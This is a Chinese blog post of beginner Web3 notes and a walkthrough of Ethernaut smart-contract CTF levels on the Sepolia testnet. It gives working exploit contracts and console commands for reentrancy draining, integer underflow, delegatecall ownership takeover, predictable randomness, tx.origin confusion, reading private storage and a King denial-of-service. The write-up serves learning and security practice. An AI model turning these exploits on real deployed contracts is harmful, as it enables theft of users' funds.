Ikoct的饮冰室

你愿意和我学一辈子二进制吗?

0%

从零开始的逆向手入门Web3生活

一觉醒来大家都在和逆向切割! 那我肯定不能落后啊

没有主网余额要求的sepolia水龙头

Google Cloud Web3 每天0.05eth

Superchain Faucet 每天0.1eth

芝士区

基础概念上Solidity by Example看跟着实践就行 但是感觉如果是零基础入门的话直接嗯看完再去做题大伤学习动力 最好是直接做一些智能合约漏洞的题 遇到不会的再来查 要先看的话就直接看其中感觉比较重要的几章:

Variables

Data Locations - Storage, Memory and Calldata

View and Pure Functions

Function Modifier

Sending Ether (transfer, send, call)

概念

合约一些常用的常量

1
2
3
4
5
6
7
msg.{
sender : 向智能合约发起交易的账号 在部署合约时 sender 指的是部署合约的外部账号,
value : 向智能合约发起交易时传递的资金值,
data : 储存了调用合约时交易数据的原始字节数组,
gas : 当前交易可用的 gas 数量,
sig : 交易调用的函数签名
}

Ethernaut做题记录

Hello Ethernaut

这关就是让用户熟悉一下Ethernaut的一些功能的 Ethernaut提供了直接在网页的js控制台与题目进行交互的ABI 调用help()可以看到几个常用的宏 包括转账和金额单位转换 同时还自带js的web3库 可以调用各种API

通过contract.MethodName()来调用合约中的函数

本题的合约:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Instance {
string public password;
uint8 public infoNum = 42;
string public theMethodName = "The method name is method7123949.";
bool private cleared = false;

// constructor
constructor(string memory _password) {
password = _password;
}

function info() public pure returns (string memory) {
return "You will find what you need in info1().";
}

function info1() public pure returns (string memory) {
return 'Try info2(), but with "hello" as a parameter.';
}

function info2(string memory param) public pure returns (string memory) {
if (keccak256(abi.encodePacked(param)) == keccak256(abi.encodePacked("hello"))) {
return "The property infoNum holds the number of the next info method to call.";
}
return "Wrong parameter.";
}

function info42() public pure returns (string memory) {
return "theMethodName is the name of the next method.";
}

function method7123949() public pure returns (string memory) {
return "If you know the password, submit it to authenticate().";
}

function authenticate(string memory passkey) public {
if (keccak256(abi.encodePacked(passkey)) == keccak256(abi.encodePacked(password))) {
cleared = true;
}
}

function getCleared() public view returns (bool) {
return cleared;
}
}

只要直接获取password的值然后调用authenticate()就能通关了

1
2
await contract.password()
await contract.authenticate(pw)

Fallback

这关主要是让我们了解合约接收数字货币的一些特性 当一个合约接收到一定金额时 会根据以下过程判断调用哪个函数:

image-20250205141030022

本题合约:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Fallback {
mapping(address => uint256) public contributions;
address public owner;

constructor() {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}

modifier onlyOwner() {
require(msg.sender == owner, "caller is not the owner");
_;
}

function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if (contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}

function getContribution() public view returns (uint256) {
return contributions[msg.sender];
}

function withdraw() public onlyOwner {
payable(owner).transfer(address(this).balance);
}

receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}

合约中的owner被设置成了部署自己的外部账户 通关条件是将owner设置成player并调用withdraw()把合约里的币提走 可以看到receive()函数中就有修改owner的逻辑 根据上面判断调用哪个函数的过程 我们需要直接向合约转账 此外我们还需要先调用contribute()并在交易中附带一个小于0.001eth的金额来让contributions[player]不大于0

1
2
3
await contract.contribute({value:toWei('0.0001', 'ether')});
await contract.sendTransaction({from:player, to:instance, value:toWei('0.0001', 'ether')});
await contract.withdraw();

Fallout

这题目的是让我们注意审计代码

题目合约:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "openzeppelin-contracts-06/math/SafeMath.sol";

contract Fallout {
using SafeMath for uint256;

mapping(address => uint256) allocations;
address payable public owner;

/* constructor */
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}

modifier onlyOwner() {
require(msg.sender == owner, "caller is not the owner");
_;
}

function allocate() public payable {
allocations[msg.sender] = allocations[msg.sender].add(msg.value);
}

function sendAllocation(address payable allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}

function collectAllocations() public onlyOwner {
msg.sender.transfer(address(this).balance);
}

function allocatorBalance(address allocator) public view returns (uint256) {
return allocations[allocator];
}
}

审计合约会发现注释是构造函数的其实是一个普通的函数(函数名和合约名不一致) 所以直接调用这个函数就能pwn掉这个合约了

Coin flip

这题主要是教我们自己写合约来解题

题目合约:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

constructor() {
consecutiveWins = 0;
}

function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));

if (lastHash == blockValue) {
revert();
}

lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;

if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}

通过伪随机生成抛硬币的结果来让我们猜 连续猜中10次就能通关 这里为了模仿伪随机数的生成我们写一个合约:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

constructor() {
consecutiveWins = 0;
}

function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));

if (lastHash == blockValue) {
revert();
}

lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;

if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}

function get_win() public view returns(uint256){
return consecutiveWins;
}
}

contract Hack{
CoinFlip target = CoinFlip(0x3A32669799018d0dc834401e6B6a31f4499819cB);
// CoinFlip target = CoinFlip(0x93f8dddd876c7dBE3323723500e83E202A7C96CC);
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
function attack() payable public returns(bool){
uint256 blockValue = uint256(blockhash(block.number - 1));
bool guess = uint256(blockValue / FACTOR) == 1 ? true : false;
return target.flip(guess);
}
}

要注意的是题目合约中对每次发起交易时所在的区块有要求 我们至少要调用contract.flip()10次 而每次发起交易不能让交易在之前完成过交易的区块上完成 所以不能直接循环10次调用目标函数 反正我是自己点了10次attack()的(

Telephone

这题主要是让我们区分msg.sendertx.origin 后者记录的是调用链的源头 而前者记录的是直接发起交易的对象

例如外部账户A通过调用已部署的合约B调用了另一个合约C 那么这笔交易的tx.origin是address(A) 而msg.sender是address(B)

题目合约:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Telephone {
address public owner;

constructor() {
owner = msg.sender;
}

function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}

只要我们通过合约来调用目标合约就能达成tx.origin != msg.sender了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Telephone {
address public owner;

constructor() {
owner = msg.sender;
}

function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}

contract Middle {
Telephone target = Telephone(address(0x8634C2E372B1d8b509CE8B503356e9E5B45bab2a));
// Telephone target = Telephone(address(0x86cA07C6D491Ad7A535c26c5e35442f3e26e8497));
function caller(address _owner) public {
target.changeOwner(_owner);
}
}

Token

这题是为了让我们了解Solidity的数据溢出

题目合约:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {
mapping(address => uint256) balances;
uint256 public totalSupply;

constructor(uint256 _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}

function transfer(address _to, uint256 _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}

function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}

题目描述中说player的余额初始化为20 通关要求是让它大于20 这里用类似C的数据溢出来bypass balances[msg.sender] - _value >= 0

1
2
>>> hex((-0x666666 + 20) & ((1 << 256) - 1))
'0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffff9999ae'

然后用以下合约调用目标函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {
mapping(address => uint256) balances;
uint256 public totalSupply;

constructor(uint256 _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}

function transfer(address _to, uint256 _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0, "balance too low");
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}

function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}

contract GetToken {
address public player = address(0x03741c1792729798cFb7d21554a90EFb57E6b278);
Token public target = Token(address(0x98Fa9020E34784b482981Ddf097da56a3e97E632));
uint256 public to_sub = uint256(0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffff9999ae);
function gtoken() public {
target.transfer({_to : player, _value : to_sub});
}
}

Delegation

这题主要是要我们了解函数的低级调用方式

.call和.delegatecall的用法都是

1
2
3
(bool success, bytes memory data) = targetContract.[delegate]call{value: 1 ether}(
abi.encodeWithSignature("functionName(uint256)", arg1)
);
  • targetContract 是要调用的合约地址
  • {value: 1 ether} 代表调用时附带 1 ETH(可选 除此之外还能指定gas)
  • abi.encodeWithSignature("functionName(uint256)", arg1) 用于编码要调用的函数名和参数
  • success 表示调用是否成功
  • data 是调用返回的原始数据

区别是一个是在目标合约的内存区执行一个是在本地内存区执行 .call相当于执行靶机上的程序 修改了哪些值都只在靶机上进行了修改 .delegatecall相当于拉取靶机的代码到本地来执行 修改了哪些值都会体现在本地的值上

因此如果要使用.delegatecall要确保目标函数中用到的值在本地也有

本题合约:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Delegate {
address public owner;

constructor(address _owner) {
owner = _owner;
}

function pwn() public {
owner = msg.sender;
}
}

contract Delegation {
address public owner;
Delegate delegate;

constructor(address _delegateAddress) {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}

fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}

这里我们直接向目标合约发起带有被签名编码了的'pwn()'的转账来触发fallback()并将Delegate合约中的pwn拉到目标合约上执行来获取控制权:

1
await contract.sendTransaction({from:player, to:instance, data:web3.eth.abi.encodeFunctionSignature("pwn()")})

Force

本题合约为空合约 通关要求是向合约转入测试币 但是空合约没有payable修饰的函数 这就要用到selfdestruct()强制转账了 当一个合约调用selfdestruct()自毁时可以向这个函数传入一个地址 这会使合约自毁后将合约的余额强制转入这个地址中

攻击合约:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Force {
function get_balance () public view returns(uint256){
return address(this).balance;
}
/*
MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)
*/ }


contract Attack{
Force target;
constructor (address _target) payable {
target = Force(_target);
}
receive() external payable { }
function hack () payable public{
address payable to_hack = payable(address(target));
selfdestruct(to_hack);
}
function get_balance () public view returns(uint256){
return address(this).balance;
}
}

攻击合约的构造函数被payable修饰 部署攻击合约时可以直接转入余额:

image-20250210113414449

Vault

这题主要是要我们了解Solidity的数据储存策略

简单来说 内存对齐32bytes 普通的基本类型变量按照声明顺序储存 储存普通基本类型变量的数组连续储存 储存结构体的数组在当前内存单元存入当前内存单元的index 假设结构体长度为len * 32bytes 则数组中第n个结构体储存在第 keccak256(abi.encodePacked(index)) + len * n 个内存单元

字典类型和储存结构体的数组唯二的不同就是当前内存单元下标index不会储存在内存中 以及key对应的元素储存在第 keccak256(abi.encodePacked(key, index)) + len * n 个内存单元

了解了这些知识再看题目合约:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Vault {
bool public locked;
bytes32 private password;

constructor(bytes32 _password) {
locked = true;
password = _password;
}

function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}

我们只要找到password存放的内存单元下标就能获得其值了:

1
await web3.eth.getStorageAt("0xbBA87c681331afbfA03242D1054810e298b511eC", 1, console.log)

这个函数的参数列表是(目标合约地址, 内存单元下标, 输出流)

King

题目合约:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract King {
address king;
uint256 public prize;
address public owner;

constructor() payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}

receive() external payable {
require(msg.value >= prize || msg.sender == owner);
payable(king).transfer(msg.value);
king = msg.sender;
prize = msg.value;
}

function _king() public view returns (address) {
return king;
}
}

通关要求是让其他外部用户无法再成为国王 这里的一个漏洞点是新国王上位成功除了发送金额大于等于当前国王外还有payable(king).transfer(msg.value);这条语句执行成功 Solidity有交易回滚机制 在发起交易时将当前状态复制一份到虚拟环境中然后在虚拟环境中执行调用的函数 如果函数在中间执行失败就相当于无事发生 只有函数整个执行完才会发生状态的改变 这里成为新国王依赖于能成功向当前国王发送金额 如果当前国王并非一个外部账户而是一个合约账户 而这个合约账户没有接收返还款的fallback函数就会使所有成为新国王的请求都在返还款这一步失败

题解:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract King {
address king;
uint256 public prize;
address public owner;

constructor() payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}

receive() external payable {
require(msg.value >= prize || msg.sender == owner);
payable(king).transfer(msg.value);
king = msg.sender;
prize = msg.value;
}

function _king() public view returns (address) {
return king;
}
}

contract DOS{
King target;
address public owner;
constructor(address _target) payable {
target = King(payable(_target));
owner = msg.sender;
}

function attack() payable public {
payable(address(target)).call{value: 1200000000000000 wei}("");
}

function withdraw() external payable {
payable(owner).transfer(payable(address(this)).balance);
}
}

部署前要先查询King.prize来决定发送多少测试币

Re-entrancy

题如其名 要用重入攻击

题目合约:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

import "openzeppelin-contracts-06/math/SafeMath.sol";

contract Reentrance {
using SafeMath for uint256;

mapping(address => uint256) public balances;

function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}

function balanceOf(address _who) public view returns (uint256 balance) {
return balances[_who];
}

function withdraw(uint256 _amount) public {
if (balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value: _amount}("");
if (result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}

receive() external payable {}
}

这里可以利用重入攻击的点在于withdraw()在更新状态前就进行了实际提款操作 只要在fallback中继续调用withdraw就能提取所有余额:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

contract Reentrance {
mapping(address => uint256) public balances;

function donate(address _to) public payable {
balances[_to] = balances[_to] + (msg.value);
}

function balanceOf(address _who) public view returns (uint256 balance) {
return balances[_who];
}

function withdraw(uint256 _amount) public {
if (balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value: _amount}("");
if (result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}

receive() external payable {}
}

contract Attack {
Reentrance public target;
uint256 public Amount = 0.2 ether;
constructor(address _target) public payable {
target = Reentrance(payable (_target));
}

fallback() external payable {
target.withdraw(address(target).balance);
}

function attack() public payable {
target.donate{value:0.2 ether}(address(this));
target.withdraw(Amount);
}

function withdraw() public payable {
payable(address(0x03741c1792729798cFb7d21554a90EFb57E6b278)).transfer(address(this).balance);
}
}

Elevator

题目合约:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Building {
function isLastFloor(uint256) external returns (bool);
}

contract Elevator {
bool public top;
uint256 public floor;

function goTo(uint256 _floor) public {
Building building = Building(msg.sender);

if (!building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}

题目会调用用户实现的Building.isLastFloor() 要求同样的参数两次调用返回不同的值 直接设置一个状态记录调用次数来返回不同值就行了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Building {
function isLastFloor(uint256) external returns (bool);
}

contract Elevator {
bool public top;
uint256 public floor;

function goTo(uint256 _floor) public {
Building building = Building(msg.sender);

if (!building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}

contract Attack is Building{
uint256 times = 0;
Elevator target;

constructor (address _target) public {
target = Elevator(_target);
}

function isLastFloor(uint256) external returns (bool){
if(times == 0){
times = 1;
return false;
}
return true;
}

function attack() public {
target.goTo(1);
}
}